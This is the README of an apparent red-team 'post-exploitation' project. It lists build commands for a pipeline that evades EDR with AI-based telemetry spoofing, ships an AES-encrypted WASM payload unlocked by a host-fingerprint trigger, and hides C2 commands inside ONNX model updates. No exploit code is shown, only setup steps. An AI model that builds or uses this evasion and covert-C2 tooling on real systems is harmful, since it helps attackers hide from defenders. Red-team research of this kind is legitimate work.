Post-Exploitation
Демонстрационный red-team пайплайн, показывающий продвинутый обход EDR через спуфинг телеметрии на базе AI и WASM-песочницу.
Установка
git clone --recursive https://github.com/microsoft/onnxruntime.git onnxruntime
.\onnxruntime\build.bat --config Release --parallel --compile_no_warning_as_error --skip_tests --build_shared_lib --use_vcpkg --cmake_extra_defines VCPKG_TARGET_TRIPLET=x64-windows-static-md onnxruntime_BUILD_UNIT_TESTS=OFF
python build.py fingerprint --show-components
cargo build --manifest-path wasm_license_module/Cargo.toml --target wasm32-unknown-unknown --release
python build.py build --trigger "<64-char lowercase fingerprint hash>" --secret "<exactly-32-demo-key-chars>" --model-output assets/model.onnx --wasm-input wasm_license_module/target/wasm32-unknown-unknown/release/wasm_license_module.wasm --wasm-output assets/license_module.wasm.aes
python build.py verify --trigger "<64-char lowercase fingerprint hash>" --model assets/model.onnx
python build.py fetch-model
python build.py downlink-build --trigger "<64-char lowercase fingerprint hash>" --reference-model assets/model.onnx --output assets/downlink_update.onnx --command set_status --status lab_C2_test --expires-unix 4102444800 --cover-seed 2026 --cover-fraction 0.08 --cover-noise-scale 0.00004
python build.py downlink-verify --trigger "<64-char lowercase fingerprint hash>" --reference-model assets/model.onnx --model assets/downlink_update.onnx
cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release